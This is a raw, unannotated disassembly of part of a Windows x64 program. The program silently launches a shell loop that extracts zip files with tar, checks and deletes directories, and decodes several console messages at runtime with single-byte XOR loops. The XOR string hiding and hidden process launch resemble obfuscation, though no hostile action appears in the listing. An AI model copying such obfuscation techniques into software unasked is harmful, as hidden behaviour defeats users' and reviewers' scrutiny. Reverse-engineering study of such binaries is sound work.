mov qword [rax + 0x10], rsi
mov byte [rax], sil
lea r8d, [rsi + 0x1d]
lea rdx, str.for__f_in__.zip__do_tar__xf
lea rcx, [rsp + 0x380]
call fcn.1400235e0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movdqu xmmword [rsp + 0xa0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], sil
movq rcx, xmm1
psrldq xmm1, 8
movq rdx, xmm1
cmp rcx, rdx
jae 0x140056dfa
lea rax, [rcx + 1]
mov qword [rsp + 0xa0], rax
lea rax, [rsp + 0x90]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x90]
mov word [rax + rcx], 0x22
jmp 0x140056e0a
mov r9b, 0x22
lea rcx, [rsp + 0x90]
call fcn.140026940
movups xmm0, xmmword [rsp + 0x90]
movups xmmword [rsp + 0x300], xmm0
movups xmm1, xmmword [rsp + 0xa0]
movups xmmword [rsp + 0x310], xmm1
movdqa xmm0, xmmword [0x140200800]
movdqu xmmword [rsp + 0xa0], xmm0
mov byte [rsp + 0x90], 0
mov r8d, 2
lea rdx, [0x1401fc33c]
lea rcx, [rsp + 0x300]
call fcn.1400235e0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movdqu xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
movq rcx, xmm1
psrldq xmm1, 8
movq rdx, xmm1
cmp rcx, rdx
jae 0x140056eb2
lea rax, [rcx + 1]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x50]
mov word [rax + rcx], 0x22
jmp 0x140056ebf
mov r9b, 0x22
lea rcx, [rsp + 0x50]
call fcn.140026940
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x418], xmm0
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rsp + 0x428], xmm1
movdqa xmm0, xmmword [0x140200800]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
lea rcx, [rsp + 0x50]
call fcn.140003c40
nop
lea rcx, [rsp + 0x300]
call fcn.140003c40
nop
lea rcx, [rsp + 0x90]
call fcn.140003c40
nop
lea rcx, [rsp + 0x380]
call fcn.140003c40
nop
lea rcx, [rsp + 0x70]
call fcn.140003c40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x460], xmm0
movups xmmword [rsp + 0x470], xmm0
movups xmmword [rsp + 0x480], xmm0
movups xmmword [rsp + 0x490], xmm0
movups xmmword [rsp + 0x4a0], xmm0
movups xmmword [rsp + 0x4b0], xmm0
mov qword [rsp + 0x4c0], rax
movups xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0x1d0], rax
mov dword [rsp + 0x460], 0x68
mov dword [rsp + 0x49c], 1
mov word [rsp + 0x4a0], si
lea r8, [rsp + 0x418]
cmp qword [rsp + 0x430], 0xf
cmova r8, qword [rsp + 0x418]
mov r9, qword [rsp + 0x428]
add r9, r8
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x4d0]
call fcn.1400611a0
nop
lea r8, [rsp + 0x90]
lea rcx, [rsp + 0x438]
call fcn.140064080
nop
lea rcx, [rsp + 0x90]
call fcn.140003bc0
lea rdx, [rsp + 0x438]
cmp qword [rsp + 0x450], 7
cmova rdx, qword [rsp + 0x438]
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x460]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140057086
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword ds:[rsp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x438]
call fcn.140003bc0
nop
lea rcx, [rsp + 0x418]
call fcn.140003c40
nop
lea rcx, [rsp + 0x320]
call fcn.140003c40
nop
lea rax, vtable.std::wstring_convert_class_std::codecvt_utf8_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rsp + 0x4d0], rax
lea rcx, [rsp + 0x510]
call fcn.140003bc0
lea rcx, [rsp + 0x4f0]
call fcn.140003c40
mov rcx, qword [rsp + 0x4e8]
test rcx, rcx
je 0x140057107
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140057107
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rbx, qword [rsp + 0x3a0]
test rbx, rbx
je 0x1400571a3
mov rdi, qword [rsp + 0x3a8]
cmp rbx, rdi
je 0x140057147
lea rcx, [rbx + 0x20]
call fcn.140003c40
mov rcx, rbx
call fcn.140003c40
add rbx, 0x40
cmp rbx, rdi
jne 0x140057125
mov rbx, qword [rsp + 0x3a0]
mov rdx, qword ds:[rsp + 0x3b0]
sub rdx, rbx
and rdx, 0xffffffffffffffc0
mov rax, rbx
cmp rdx, 0x1000
jb 0x140057187
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140057187
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140128990
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x3a0], xmm0
mov qword [rsp + 0x3b0], rsi
lea rcx, [rsp + 0x3f8]
call fcn.140003c40
nop
lea rcx, [rsp + 0x3d8]
call fcn.140003c40
nop
lea rcx, [rsp + 0x3b8]
call fcn.140003c40
nop
mov rax, qword [rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1e0], rax
mov rax, qword [rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1dc], edx
lea rcx, [rsp + 0x1f0]
call fcn.140022100
lea rcx, [rsp + 0x1f8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x290]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.140128610
lea r11, [rsp + 0x690]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea rdx, str.Tar_is_not_available_on_this_system._nPlease_download_tar.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003fe0
call fcn.140052050
int3
call fcn.140004560
int3
nop dword [rax + rax]
call fcn.140004560
nop
shr rdx, 0x20
lea r8, [rsp + 0x70]
lea rcx, str.create_directory
call fcn.140006040
nop
nop dword [rax]
call fcn.140004560
int3
call fcn.140004560
nop
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x300]
lea rcx, str.exists
call fcn.140006120
nop
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x300]
lea rcx, str.remove_all
call fcn.140006120
nop
call fcn.140004560
int3
call fcn.140004560
int3
call fcn.140004560
nop
lea r8, [rsp + 0x380]
lea rdx, [rsp + 0x300]
lea rcx, str.exists
call fcn.140006120
nop
mov byte [rax + 0xae], r10b
call fcn.140003fe0
lea rdx, [0x1400041c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140052050
nop
call fcn.140004560
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x90]
call fcn.140057920
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
mov byte [rax + 0x20], 0
call fcn.140003fe0
lea rdx, [0x1400041c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140052050
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, ds:[rsp + 0x90]
call fcn.1400579e0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
xor byte [rax + 0x24], r8b
xor byte [rax + 0x25], r8b
xor byte [rax + 0x26], r8b
xor byte [rax + 0x27], r8b
xor byte [rax + 0x28], r8b
xor byte [rax + 0x29], r8b
xor byte [rax + 0x2a], r8b
xor byte [rax + 0x2b], r8b
xor byte [rax + 0x2c], r8b
xor byte [rax + 0x2d], r8b
xor byte [rax + 0x2e], r8b
xor byte [rax + 0x2f], r8b
xor byte [rax + 0x30], r8b
xor byte [rax + 0x31], r8b
xor byte [rax + 0x32], r8b
xor byte [rax + 0x33], r8b
xor byte [rax + 0x34], r8b
xor byte [rax + 0x35], r8b
xor byte [rax + 0x36], r8b
xor byte [rax + 0x37], r8b
xor byte [rax + 0x38], r8b
xor byte [rax + 0x39], r8b
xor byte [rax + 0x3a], r8b
xor byte [rax + 0x3b], r8b
xor byte [rax + 0x3c], r8b
xor byte [rax + 0x3d], r8b
xor byte [rax + 0x3e], r8b
xor byte [rax + 0x3f], r8b
xor byte [rax + 0x40], r8b
xor byte [rax + 0x41], r8b
xor byte [rax + 0x42], r8b
xor byte [rax + 0x43], r8b
xor byte [rax + 0x44], r8b
xor byte [rax + 0x45], r8b
xor byte [rax + 0x46], r8b
xor byte [rax + 0x47], r8b
xor byte [rax + 0x48], r8b
xor byte [rax + 0x49], r8b
xor byte [rax + 0x4a], r8b
xor byte [rax + 0x4b], r8b
xor byte [rax + 0x4c], r8b
xor byte [rax + 0x4d], r8b
xor byte [rax + 0x4e], r8b
xor byte [rax + 0x4f], r8b
xor byte [rax + 0x50], r8b
xor byte [rax + 0x51], r8b
mov byte [rax + 0x52], 0
call fcn.140003fe0
lea rdx, [0x1400041c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140052050
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, ds:[rsp + 0x300]
call fcn.140057c30
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
mov byte [rax + 0xe], 0
call fcn.140003fe0
lea rdx, [0x1400041c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140052050
nop
nop
call fcn.140004560
nop
mov byte [rdx + 0x45], 0
mov rcx, r10
call fcn.140003fe0
lea rdx, [0x1400041c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140052050
nop
call fcn.140004560
int3
call fcn.140004560
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x660]
lea rcx, str.exists
call fcn.140006120
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x90]
call fcn.140059460
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
xor byte [rax + 0x24], r8b
xor byte [rax + 0x25], r8b
xor byte [rax + 0x26], r8b
xor byte [rax + 0x27], r8b
xor byte [rax + 0x28], r8b
xor byte [rax + 0x29], r8b
xor byte [rax + 0x2a], r8b
xor byte [rax + 0x2b], r8b
xor byte [rax + 0x2c], r8b
xor byte [rax + 0x2d], r8b
xor byte [rax + 0x2e], r8b
xor byte [rax + 0x2f], r8b
xor byte [rax + 0x30], r8b
xor byte [rax + 0x31], r8b
xor byte [rax + 0x32], r8b
xor byte [rax + 0x33], r8b
xor byte [rax + 0x34], r8b
xor byte [rax + 0x35], r8b
xor byte [rax + 0x36], r8b
xor byte [rax + 0x37], r8b
xor byte [rax + 0x38], r8b
xor byte [rax + 0x39], r8b
xor byte [rax + 0x3a], r8b
xor byte [rax + 0x3b], r8b
xor byte [rax + 0x3c], r8b
xor byte [rax + 0x3d], r8b
xor byte [rax + 0x3e], r8b
xor byte [rax + 0x3f], r8b
xor byte [rax + 0x40], r8b
xor byte [rax + 0x41], r8b
xor byte [rax + 0x42], r8b
xor byte [rax + 0x43], r8b
xor byte [rax + 0x44], r8b
xor byte [rax + 0x45], r8b
xor byte [rax + 0x46], r8b
xor byte [rax + 0x47], r8b
xor byte [rax + 0x48], r8b
xor byte [rax + 0x49], r8b
xor byte [rax + 0x4a], r8b
mov byte [rax + 0x4b], 0
call fcn.140003fe0
nop
call fcn.140052050
nop
lea r8, ds:[rsp + 0x90]
lea rdx, [rsp + 0x660]
lea rcx, str.exists
call fcn.140006120
nop
call fcn.140004560
int3